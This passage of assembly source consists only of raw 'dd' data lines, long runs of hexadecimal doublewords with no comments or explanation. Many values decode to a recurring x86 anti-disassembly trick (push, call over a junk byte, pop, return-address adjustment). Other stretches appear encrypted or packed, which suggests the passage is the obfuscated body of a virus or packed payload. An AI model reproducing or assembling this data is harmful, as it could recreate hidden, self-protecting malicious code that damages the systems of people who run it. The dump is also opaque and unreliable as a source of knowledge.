		dd 9062B0Ah, 2B2E499Dh,	71E46106h, 13E95660h, 41000000h
		dd 0D339A5B1h, 0A3C76CE2h, 0E93BDCE2h, 0F9EA2305h, 8B5B861Ch
		dd 613C61F8h, 0C4830Fh,	0B60F0000h, 18F0FC8h, 0F8000000h
		dd 6BAh, 0E99D8900h, 8B062B0Bh,	0B8B0FC1h, 60000000h, 18819589h
		dd 8B66062Bh, 858961C2h, 62B0A69h, 5704E8C1h, 1E659589h
		dd 665F062Bh, 0DE8BE2F7h, 8166C82Bh, 8BFAC1F7h,	699501D1h
		dd 0FC062B26h, 71E9h, 0FA8B6600h, 554C858Bh, 8B664947h
		dd 7C083DFh, 2F1BD8Bh, 0C083062Bh, 0DF816600h, 0D03BFF39h
		dd 18830Fh, 9D890000h, 62B07E9h, 41E9h,	0A2B96000h, 8B5EA1ABh
		dd 2B0D7995h, 8D8B6106h, 0FFFFFFFFh, 2D89BD8Bh,	0E183062Bh
		dd 1F840F01h, 9000000h,	2B2A459Dh, 0FFA58306h, 0FEFFFFFFh
		dd 4C9589FCh, 31494755h, 2B0D3D8Dh, 0E906h, 0B58D0000h
		dd 62FC05Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	98C35242h, 0AC0999B4h, 739CB39Fh, 0D8C78112h, 0F957E1E4h
		dd 0D780006Ah, 4595FF43h, 80062B29h, 65B969E3h,	0F00000Fh
		dd 482h, 0EDBB6600h, 0FCE1833Dh, 0E853006Ah, 3,	5BC35B20h
		dd 4245C89h, 4244481h, 19h, 6CC35343h, 1B0731B2h, 39BD0B99h
		dd 0FC062B20h
		dd 509B589h, 0B8062Bh, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0FBF4C356h
		dd 0C3BB61DFh, 2B6AA3B5h, 4DF780D2h, 0D1C233ADh, 83D003E8h
		dd 0F47504E9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	0C3C35040h, 9529D6ADh, 62B1605h, 0ECBFD381h, 6A5200h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 7DD1DAC3h, 66D074B9h, 0DAA30BFh, 88h, 6ED9D8Bh, 958B062Bh
		dd 62B0EE1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	48C35242h, 8BA78D09h, 0D8BF0FDFh, 21E18D8Bh, 0CE9062Bh
		dd 21000000h, 3DDBA52Bh, 0DDAF2CD2h, 509A4A1Ch,	188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 0DCAEBB58h, 0BD2B14A6h
		dd 62B1581h, 5A9BD83h, 0F00062Bh, 6B84h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
		dd 8C545263h, 0FE72844h, 68Fh, 0A5858900h, 0B8062B1Eh
		dd 0
		dd 0B5015B50h, 62B1D01h, 4EA18D8Dh, 0BF66062Bh,	0E1FF7C42h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0AFC35747h
		dd 9A4A1CDDh, 0CB3C18D9h, 2BE5BD83h, 0F00062Bh,	3E984h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 81C690C5h, 35A6CCDBh, 0E5BD8330h, 1062B2Bh
		dd 3D3840Fh, 83F80000h,	2B2BE5BDh, 860F0306h, 38Fh, 9CC026BFh
		dd 0D85EBF5Eh, 89606338h, 2B0D1D8Dh, 0D98C6606h, 0E180FE8Bh
		dd 52006A04h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 91279CA7h, 0DCBFF89Fh, 0A32214Ah, 2F840FC9h
		dd 6A000001h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 63A5C353h, 2ACD8589h, 858B062Bh
		dd 62B1EB5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	0F6C35747h, 64C426A0h, 8D8533B4h, 0E8062B25h, 14h
		dd 0DE9676C3h, 0BD443FAAh, 0FA0F3EE7h, 494DCBD7h, 55203DB1h
		dd 2D79BD23h, 905B062Bh, 5F8AB357h, 6A9050h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 83E061C3h
		dd 8E9F8h, 0B7670000h, 640B963Dh, 8D89548Dh, 62B301Dh
		dd 0DF81006Ah, 76DA649Bh, 79174F68h, 2830F79h, 51000000h
		dd 2434815Bh, 796614B0h, 0FFDF8B66h, 2B091D95h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 0DE8B6674h, 6830Fh, 0E3810000h, 5DAED97h, 0B5B08589h
		dd 6A062Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 0AAE19BC3h, 0E4415BC8h, 1AE3C4Dh,	2B0091BDh
		dd 196E906h, 858B0000h,	62EB5A8h, 13E8h, 4EE36C00h, 39C81815h
		dd 0D6AB66D8h, 0DA736421h, 4F3FDBAFh, 21EB8166h, 0C75B6Bh
		dd 18h,	0D1816660h, 8B618A84h, 2EB5ACB5h, 51BB6606h, 0C5858B47h
		dd 6A062B16h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 0EA5EC352h, 62DB9416h,	11E8D5h
		dd 9C070000h, 5FB0A87h,	58555F6Dh, 0CD2A3DA3h, 5F29CB63h
		dd 9D890689h, 62B3395h,	1EB5858Bh, 6A062Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 2CA5E2C3h
		dd 468971A8h, 0B9958904h, 96062B28h, 8B535250h,	310F5FDAh
		dd 221AC6BFh, 50585A4Eh, 0E996DE8Bh, 0Ch, 52250A71h, 3788A776h
		dd 0A769BF87h, 0B5A8B5FFh, 9D8B062Eh, 62B17FDh,	0BE9BF68h
		dd 810F5654h, 6, 830Fh,	815B0000h, 0EA402434h, 0EE85414h
		dd 9A000000h, 29B83E26h, 41457F82h, 0CA2C5F2Eh,	0FFBF0FD8h
		dd 0B0858D5Bh, 6A062EB5h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 67EFC356h, 0A05AC353h
		dd 0A2BBDEDAh, 0E86F3240h, 11h,	0C59408B7h, 0A726D5FAh
		dd 987F178h, 0DDC4E572h, 0F58589D3h, 5F062B07h,	14E850h
		dd 82E80000h, 4AE2F908h, 0A5D1D2E0h, 5B8A8E19h,	0A7B1F39Bh
		dd 0BE9B35Dh, 74000000h, 0A49F8757h, 0AB8536F8h, 895BFBEFh
		dd 0FFFC2404h, 2B091D95h, 0DBB70F06h, 55E38161h, 0C744429Dh
		dd 2B2BE585h, 306h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 762138B8h, 38B87774h
		dd 0F8BF7621h, 8329A374h, 2EB5B0BDh, 840F0006h,	3Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 63C35141h, 0F6ED3B20h
		dd 9589745Eh, 62B1B35h,	2B98531h, 23E9062Bh, 51000000h
		dd 458D895Fh, 50062B30h, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 6AC08Bh,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 145E16C3h, 0B8473971h
		dd 0D88AF268h, 1CB5BD8Bh, 0BD83062Bh, 62B2BE5h,	0C3850F03h
		dd 0F000003h, 58Bh, 0CF816600h,	0BD83F64Ch, 62EB5B0h, 0AB840F00h
		dd 6A000003h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 0B36EC352h, 0B0B5FF92h, 8B062EB5h
		dd 2B2BFD9Dh, 0ADBD2306h, 0FF062B32h, 2B017595h, 4CEB8106h
		dd 0E91D338Fh, 0Ah, 0E2A520EDh,	1044347Eh, 0B58BC1DCh
		dd 62EB5A4h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	0CFC35242h, 0F22AD77h, 689h, 79BD8B00h,	0C7062B00h
		dd 1000106h, 7E900h, 8DB80000h,	0B8D52C60h, 0ED950986h
		dd 50062B26h, 6A243489h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0BF4C356h, 0F7221AD2h
		dd 68E0F60h, 81000000h,	0C00A1F3h, 9523607Dh, 62B052Dh
		dd 28C18D89h, 6161062Bh, 0B5FF60B7h, 62EB5B0h, 7812BF66h
		dd 155595FFh, 6A062Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 0B509E1C3h, 62B0EDDh, 0B5A4B58Bh
		dd 0BD8B062Eh, 62B0D15h, 1AD9858Bh, 6A062Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 8B1622C3h
		dd 2B2591BDh, 0C4868906h, 31000000h, 2B0A75BDh,	0E1958B06h
		dd 0F5062B0Eh, 104C283h, 2B21EDB5h, 20508906h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 2DC35646h, 3A9F5D9Bh
		dd 717948B1h, 19DDB501h, 858D062Bh, 62ECA4Eh, 0EE8h, 0C999100h
		dd 20B383C9h, 0ADD1EA2Bh, 8BD7A44Ch, 2B2BB59Dh,	86895F06h
		dd 0B8h, 2B7EB81h, 6A7F38h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 0C9C35141h, 0FF9C8324h, 2EB5B0B5h, 41BD8906h
		dd 80062B2Dh, 95FFEED7h, 62B05E1h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 6AC35545h, 5298BF1Eh, 50967C4Eh
		dd 0F44B352h, 0F5B86031h, 505A7BA2h, 5A310F52h,	585A6158h
		dd 4CBF6650h, 0FFF59658h, 2EB5B0B5h, 913DBF06h,	95FF1CDBh
		dd 62B1569h, 14E9h, 0BE6B5D00h,	0F5F210FAh, 885E625Ah
		dd 12084594h, 9E9F21B3h, 9DBD835Ah, 62B1Dh, 18840Fh, 7E90000h
		dd 0F7000000h, 3254D8E7h, 8B50D73Bh, 243489FEh,	2A218D09h
		dd 0B5FF062Bh, 62EB5B0h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 8CC35242h, 0C4DCA5D2h, 0B5894E2Ah, 62B2ADDh
		dd 2E1195FFh, 6A062Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 912AC9C3h, 0EA6BC9C4h, 3840491h
		dd 2B08419Dh, 0B0B5FF06h, 6A062EB5h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 42EAC356h
		dd 469CB89Bh, 6020C96Bh, 17FD8D89h, 958B062Bh, 62B1BE9h
		dd 4DBD8B61h, 0FF062B12h, 2B240D95h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 8D9EA03h, 0BF0F43F6h
		dd 29BD83DAh, 2062B2Eh,	30840Fh
		dd 9D8B0000h, 62B085Dh,	2B39858Bh, 6A062Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0FC1642C3h
		dd 0C663h, 85C740B7h, 62B0925h,	0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 84C35545h
		dd 3D44BFCCh, 0F71CFD5h, 0C6E9D9B7h, 6AFFFFF4h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 89EDC357h, 2B0BF18Dh, 6AC18B06h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 269EC351h
		dd 4E1FA8FAh, 6657E119h, 8D5BFB8Bh, 3059538Dh, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 0E8DF8B34h, 8, 0B1DA15E0h, 313174E8h, 0C5C1BB66h, 0E18D8958h
		dd 6A062B0Eh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 1477C350h, 0E185C778h,	84062B21h
		dd 6A00005Eh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 54A5C356h, 33D05BC9h, 2B015995h
		dd 0E585C706h, 62B2Bh, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 6CBCC350h
		dd 5CD0AAD9h, 0FF1D4DD7h, 2B0DFDB5h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 91A4665Bh
		dd 0E386BFFEh, 9D8B7768h, 62B0011h, 1E759D8Bh, 95FF062Bh
		dd 62B2731h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	0A1C35242h, 0B9150920h,	0B58B461Ch, 62B2AB1h, 95FF006Ah
		dd 62B2945h, 28EBC08Bh,	0B615E489h, 0F926AF6Fh,	0E7F8ABE0h
		dd 0D9F8DDF3h, 0BD9F56AEh, 0C2D31900h, 6C6E34F8h, 0E72E9913h
		dd 79EC8A99h, 0DD3B30CDh, 5A3F8D8Dh, 6A0630h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0D065F1C3h
		dd 0BCCFEA01h, 9D893483h, 62B2641h, 0EE18D89h, 6A062Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 794730C3h, 0F7E8FA66h, 0FC83B9Dh, 68Dh, 2DBD8B00h, 0C7062B2Ah
		dd 2B21E185h, 617006h, 0E1B50100h, 0C7062B16h, 2B2BE585h
		dd 6, 8D5ABE00h, 0B5FF729Ch, 62B0525h, 95FFC58Ah, 62B2731h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0F8C35242h
		dd 2870Fh, 0FA8B0000h, 95FF006Ah, 62B2945h, 4FEBC08Bh
		dd 0A9071F37h, 293350F0h, 0FBB30C7Bh, 0E9B35A4Ch, 8727622Dh
		dd 5DF8D12Fh, 4EE912AEh, 0DE6E3643h, 5E3ED472h,	0F1BD568Ch
		dd 121BAA52h, 0D5CE02F4h, 8D3374D2h, 4B4B64B9h,	8831CDE0h
		dd 0AA2F1A91h, 3EB682D6h, 16BEEFC8h, 0F60BB800h, 8D9C43FCh
		dd 305BB28Dh, 0DE906h, 2F840000h, 75BBC9F4h, 3BCDF2D8h
		dd 891C3098h, 2B0EE18Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 120319D0h, 9523EF2Ch
		dd 62B2C91h, 0A7DE8151h, 5B6915CFh, 21E185C7h, 6F4C062Bh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0F054A6C3h, 0A69ED355h, 85093BA8h, 62B0079h
		dd 2BE585C7h, 62Bh, 6A0000h, 3E851h, 59200000h,	4C8959C3h
		dd 44810424h, 190424h, 51410000h, 36B090C3h, 31B237CDh
		dd 2B06B18Dh, 15B5FF06h, 0E9062B1Dh, 0Eh, 0BA73C413h, 73B021Bh
		dd 3F83F5B5h, 0B866E367h, 95FF8CD9h, 62B2731h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 9BC35747h, 0BE0F2242h
		dd 830F3336h, 1Bh, 14E960h, 49CA0000h, 0EFADB250h, 6103D6CDh
		dd 2F4FF1B0h, 0FCA19CC9h, 6A61B574h, 4595FF00h,	8B062B29h
		dd 0AE0FEBC0h, 8AF5A263h, 78C52210h, 2DE850BFh,	0DE897ABh
		dd 32000000h, 254204A7h, 8BAF8A9Ah, 33E7B81Ch, 2979BD03h
		dd 8A5B062Bh, 32C381CCh, 2B00005Fh, 2B264185h, 17A6BE06h
		dd 810F0000h, 6, 2A299D89h, 33FF062Bh, 1E258501h, 665A062Bh
		dd 81E4D6BFh, 0C95D3CC2h, 0E1815672h, 17E70760h, 0EBEA8158h
		dd 8916AF86h, 2B1C0195h, 0EDEA8106h, 8945BEF7h,	2B1C4D95h
		dd 8B138906h, 2B009D8Dh, 2EB8306h, 0BE953h, 0C6070000h
		dd 6A77C683h, 0D1091416h, 4B4B5832h, 68C0Fh, 9D010000h
		dd 62B1135h, 9B850F4Eh,	8BFFFFFFh, 2B25B5BDh, 0B060D706h
		dd 0BC0FECEh, 0D7602DB8h, 964F953h, 6BEB7B33h, 86479989h
		dd 0B068BFF9h, 0BC06ECAh, 8EE2C233h, 26FD528Eh,	149FED35h
		dd 0CD60A563h, 0DEF788Bh, 8C6E3433h, 80EDF528h,	20541AAEh
		dd 56384835h, 8456586Bh, 0DEDC625h, 5EBBE147h, 0DEF788Bh
		dd 8C6E3433h, 80EDF528h, 20570BAEh, 56384835h, 5EEBB16Bh
		dd 0DEBEEDBh, 0CEB0D633h, 29B7F268h, 29AF3C37h,	0DEBC237h
		dd 0CEB82C33h, 0C39FC8D8h, 0B8575224h, 0DE005AFh, 0B5E9F633h
		dd 0E1A13DAEh, 3823090Ah, 0B47E575Dh, 56ED442Ah, 1C5222BAh
		dd 0CD60DD18h, 8C336155h, 0B382CE4h, 2EFD35Ah, 0DEFE7B7h
		dd 48B46433h, 0B068118Eh, 0BC0A81Ah, 5D6FD433h,	2EBED33h
		dd 0DEBFBB9h, 0DE39233h, 0E695BD33h, 0B70C2744h, 3D021B54h
		dd 67EBB737h, 0E038D33h, 2DEBED33h, 84B5356Dh, 8CEF5F47h
		dd 11EF9977h, 4BEBDE33h, 0C8A0AC65h, 0F6791444h, 0E56771FEh
		dd 0DEBED3Dh, 0A13536E1h, 0CF666939h, 0BE648B51h, 0B3B0953Fh
		dd 0FEB4833h, 0E5BBB759h, 0DEBDB30h, 5528B513h,	9CFB2BAh
		dd 9CF3FB2h, 0DEBBD29h,	0B6288E73h, 6A47DEE5h, 6B8B2235h
		dd 808A21B8h, 2376D7B6h, 5CEB9C35h, 0DEB78DBh, 0CEB29D33h
		dd 29A7576Ah, 29AFEE37h, 0DEBA137h, 0CEBA9A33h,	200EDECh
		dd 0DEBE1BCh, 0DE69333h, 741BBD33h, 50F740BAh, 3B965399h
		dd 6BF530C3h, 5688D68Ch, 0F607DD88h, 673B093Eh,	0E032833h
		dd 2DEBBD33h, 84B01D68h, 8CEF4B6Fh, 14EF9377h, 4EEBDB33h
		dd 77222E60h, 2A2A2B21h, 0DEDFD3Ch, 9062BD33h, 0BC0C496h
		dd 89E4AFB6h, 0DEBB7FBh, 0DEBDEDBh, 0CF066233h,	248B9CB1h
		dd 26DB4AB6h, 27223D35h, 88DA8152h, 0BC05BD6h, 6BBC8FB2h
		dd 88E420B2h, 0DEBED07h, 0E5BAF659h, 0DEB7B30h,	5428E413h
		dd 9CF92BAh, 9CF2BB2h, 0DEBB72Ah, 0DA288A72h, 0D000A169h
		dd 0C26A9053h, 8C8DDBBBh, 0FE9B94Bh, 0EC75A3Ch,	0D7606F33h
		dd 91D33655h, 6C6ED453h, 86EBED33h, 26CD27BEh, 0F93FB35h
		dd 5C6EB2DBh, 0BCEBDE33h, 756A09D6h, 240B735h, 0DEB98B6h
		dd 58EB8733h, 0DEBF5DBh, 0CEB65B33h, 2987346Eh,	29AF5F37h
		dd 0DEB7837h, 0CEBEF233h, 59A0546Dh, 0D6023EB8h, 6DEBF631h
		dd 174EE6BAh, 1D02BB18h, 21EBDE33h, 582FF265h, 922BAE0Ch
		dd 0EBDA5854h, 6C969CA3h, 0CEAF68Dh, 58EB1175h,	0DEBBEDBh
		dd 0CEB6FE33h, 2987E66Eh, 29AF3637h, 0DEBC137h,	0CEBEA833h
		dd 5B749F74h, 8051AF6Dh, 237687B6h, 0C554D135h,	0F2F889B3h
		dd 512836E3h, 8CE34117h, 0A46E9EDAh, 22B7376h, 0DE945B7h
		dd 0DED5433h, 0A85ADE33h, 6109BC0Ah, 356A5280h,	0FE9E655h
		dd 0DD4683Ch, 0D81F633h, 0DE89365h, 53CBBD33h, 796280F0h
		dd 496A6B17h, 0DFCB317h, 5BADDB33h, 3184A0F0h, 0DF54F9C3h
		dd 6BED03B2h, 291E20Eh,	0DE9F3B7h, 7B540933h, 0DEC5E6Dh
		dd 0CC58DB33h, 142D506Eh, 356A90DAh, 88E41BAFh,	0DEBBD7Ah
		dd 3942633Ah, 8C8D6918h, 8D565BD9h, 203D94Bh, 0DEBD9B6h
		dd 38767F33h
		dd 6BED5001h, 0DEDC5B2h, 2F6ED1F3h, 0E5EB6F33h,	0DEBB720h
		dd 0E6F625CCh, 0BCAF6E3Fh, 41CDAEE1h, 4966AFA4h, 8D9F6EB8h
		dd 0E4B2FDD2h, 0DEB6EF9h, 0CEB09CAh, 0EC6BA532h, 376E60B9h
		dd 67EDD8AEh, 0E032D33h, 2DEBBD33h, 84B51D6Dh, 8CEF4B47h
		dd 18EF9377h, 4BEBDB33h, 0E93C2E65h, 0CD227755h, 0B456F08Dh
		dd 0F2ED9615h, 0B6ED1E3h, 84EB6F33h, 26FEA28Eh,	22B5E35h
		dd 0DEAABB7h, 58EB9C33h, 0DEB78DBh, 0CEB69D33h,	2987576Eh
		dd 29AFEE37h, 0DEBA237h, 0CEBE9E33h, 8D1EAD7Fh,	88E41E0Bh
		dd 0DEB7B4Ah, 8D3D3655h, 298DB4Bh, 0DEB03B6h, 5BEBDD33h
		dd 0DEBD8DBh, 0CEB5CD33h, 299F7F6Dh, 29AFFA37h,	0DEBA937h
		dd 0CEBD9833h, 80C29337h, 0BC0A686h, 0DEBD4DAh,	6F2E2133h
		dd 2E46083Ch, 80AAB9E1h, 3DF390DCh, 5EECA6B3h, 0CE3EB3Ch
		dd 0D81B733h, 0DE83360h, 56CBED33h, 5162ADF0h, 496A7F17h
		dd 0DFCB917h, 5EA8DE33h, 0C0AE2CF0h, 0A7580EF7h, 0B0D8C176h
		dd 0BC0EB1Eh, 356A90C6h, 88E47EBCh, 0DEBBDA8h, 0E5BBDE59h
		dd 0DEB6F30h, 5528EF13h, 9CF9FBAh, 9CFA9B2h, 0DEBF627h
		dd 5C282B73h, 0DED353Ch, 98E2DE33h, 0BC06D0Eh, 65EDCFB3h
		dd 0D825E3Ch, 0D81ED33h, 0DE81E64h, 52CB7B33h, 7162E2F0h
		dd 496ADA17h, 0DF76B17h, 5AACB733h, 63D53FF0h, 5F4C1D25h
		dd 90628743h, 0BC0625Eh, 6933C55h, 88E4FBCCh, 0DEB6F00h
		dd 0E5B8B759h, 0DEBDB30h, 5628B613h, 9CFAABAh, 9CF3FB2h
		dd 0DEBBD2Eh, 18288D70h, 0DBA04E94h, 0C4BA0732h, 0F760BDADh
		dd 0DEBD0DAh, 187EFF33h, 0B5ED5017h, 0DEBBD33h,	2B1E4BB8h
		dd 3F026918h, 67EBB733h, 0E038D33h, 2DEBED33h, 84B5356Dh
		dd 8CEF5F47h, 14EF9977h, 4BEBDE33h, 4CC2AC65h, 0AC841F99h
		dd 2ACE56BAh, 0C53EB18h, 84EBF633h, 26F66686h, 1E022D35h
		dd 3FEBDE33h, 33FEF34Eh, 0D700D49Eh, 0C9E1ED84h, 3D43C8FBh
		dd 6DBB16BFh, 0DEB68DAh, 66A76733h, 0C66140BCh,	0CB88DD65h
		dd 5AF430E4h, 0B7641CBBh, 0D817D52h, 0DE81E63h,	55CB7B33h
		dd 4962E5F0h, 496ADA17h, 0DF06B17h, 5DABB733h, 3EBA01F0h
		dd 3D8B4C6Bh, 64567B87h, 80ED4B6Fh, 3D898CBEh, 58C86635h
		dd 88E81855h, 0BC0824Ah, 0E42A1418h, 0CEB0931h,	0EC6BA532h
		dd 376E60B9h, 67EDD8AEh, 0E032D33h, 2DEBBD33h, 5E9836Dh
		dd 0F58A4F3h, 289h, 6A595300h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 5D30C351h, 9C053D6h
		dd 68A0F57h, 9000000h, 2B163585h, 0C00B5906h, 4A840Fh
		dd 0B58D0000h, 62B4EA1h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 15h, 71C35343h, 9E974h, 1DBE0000h,	7632512Bh
		dd 0B827EF47h, 3, 3049958Bh, 0E6FF062Bh, 61958B53h, 59062B26h
		dd 5FCE8A56h, 50006A40h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 0CE9FD53h, 0F6000000h, 0A87A3F60h
		dd 170C9F9Fh, 8BD0F647h, 2B185D95h, 6AC08B06h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 0C015C351h, 8B7EF2BBh, 2B21218Dh, 0F9BD8306h, 62B01h
		dd 0BD830975h, 62B1689h, 50197400h, 0B8C08B53h,	403h, 34798589h
		dd 9D8D062Bh, 62DBFDCh,	585BD3FFh, 1689BD83h, 7400062Bh
		dd 0B8535017h, 403h, 34798589h,	9D8D062Bh, 62DBC7Dh, 585BD3FFh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 95C35545h
		dd 8BCD3BC0h, 2B24E58Dh, 2850F06h, 8B000000h, 6AC08BD0h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 0FF4DC355h, 1A867437h, 0B4E3F2FEh, 6E861h
		dd 106F0000h, 6EB63291h, 0B5B5895Bh, 81062B0Eh,	73C3C3h
		dd 0B800h, 0BF660000h, 34FF6AA2h, 5EF95218h, 0F38B665Ah
		dd 0DD24EA81h, 95897569h, 62B26C9h, 0AD88F281h,	0DF815729h
		dd 3FC2BB20h, 0BB6AEA81h, 0B533272Dh, 62B2085h,	89031489h
		dd 2B1825BDh, 0F7816606h, 0E8832DC7h, 0EE904h, 6C310000h
		dd 57D411FCh, 48EC4B67h, 3E2379AAh, 8CF4F881h, 850FFFFFh
		dd 22h,	8880Fh,	89520000h, 2B2C319Dh, 2EE95F06h, 0B6000000h
		dd 72CB3606h, 0CDB45C3Fh, 4CEEF6BDh, 0BD8988DFh, 62B1FB5h
		dd 0FFFF75E9h, 0CEA08EFFh, 0B4F00D8Bh, 5BEBA2B1h, 0CFD8485Ah
		dd 1162BFBAh, 12E802h, 80AD0000h, 1F0462F8h, 546C29CAh
		dd 25B537F6h, 0B70EC33h, 2BCDB589h, 8158062Bh, 0F76275D9h
		dd 0FCC08145h, 2B000067h, 2B207D8Dh, 89F62B06h,	2B1C71B5h
		dd 634FF06h, 1721BD29h,	0E95F062Bh, 13h, 92BD1157h, 0FE972645h
		dd 9EDCD765h, 7AF27F79h, 8197FFEDh, 82F33CC7h, 0F781FC1Ah
		dd 32888E5h, 0A0B96657h, 0F7815A8Fh, 1880E62Eh,	6800Fh
		dd 9D890000h, 62B2591h,	8B303C89h, 2B11C995h, 1D8D8B06h
		dd 83062B17h, 15201EEh,	2B1E3195h, 4E4E5B06h, 4E9DB94Eh
		dd 0FE81302Dh, 0FFFF98BCh, 0FF8B850Fh, 0BE8FFFFh, 9B000000h
		dd 52C0B6FCh, 0B14A3D03h, 0B70F4B78h, 8D8D59D8h, 6306648h
		dd 0D49B589h, 8D89062Bh, 62B0EE1h, 81D38166h, 0E185C7B7h
		dd 44062B21h, 6A00005Ch, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 19C0C357h, 2BE585C7h
		dd 62Bh, 6A0000h, 3E850h, 58200000h, 448958C3h,	44810424h
		dd 150424h, 50400000h, 0F8186C3h, 381h,	0D98B6600h, 1219B5FFh
		dd 6A062Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 155B2CC3h, 38F0Fh, 0BF0F0000h, 3195FFD1h
		dd 6A062B27h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 2C38C350h, 179745CDh, 0DCC0E028h
		dd 13E8h, 9968E500h, 5DE451A5h,	7C37F762h, 8314DC3h, 493664DEh
		dd 6800Fh, 85290000h, 62B1F05h,	0FF006A5Fh, 2B294595h
		dd 0EBC08B06h, 26C9496Eh, 0A01AC8E3h, 231C79Ah,	934B8C69h
		dd 4526539Ch, 0BDEEE972h, 3B22F619h, 72341CE7h,	20688662h
		dd 7811B8D6h, 0F645622Bh, 0E7F49D46h, 4503DA8Fh, 21B7AB8Dh
		dd 0EA9BC47Bh, 3B4782A1h, 2C36C1EAh, 0D35D07D3h, 80119046h
		dd 0BD577A7Ch, 0CE3AFA08h, 0A71673Dh, 0A7765225h, 0BF873788h
		dd 1105A769h, 0A7D144A3h, 9A2AD8BDh, 0DEF69A39h, 0D4D4712Ah
		dd 1DC4B46h, 0D4C8557Fh, 6398525Ch, 0A9A90B33h,	0F1982633h
		dd 0EF5E265Ah, 33B3151Eh, 0FFB44E60h, 0F867A5E4h, 0A0B33DEEh
		dd 0D073A3BEh, 7967201Dh, 0DF65A3BAh, 0D71B2018h, 33B314BEh
		dd 831D2933h, 0C0982633h, 96FEEDB6h, 0D6157635h, 0AFA8408Eh
		dd 290DD963h, 839E0D38h, 35982664h, 1F152359h, 4BA840FEh
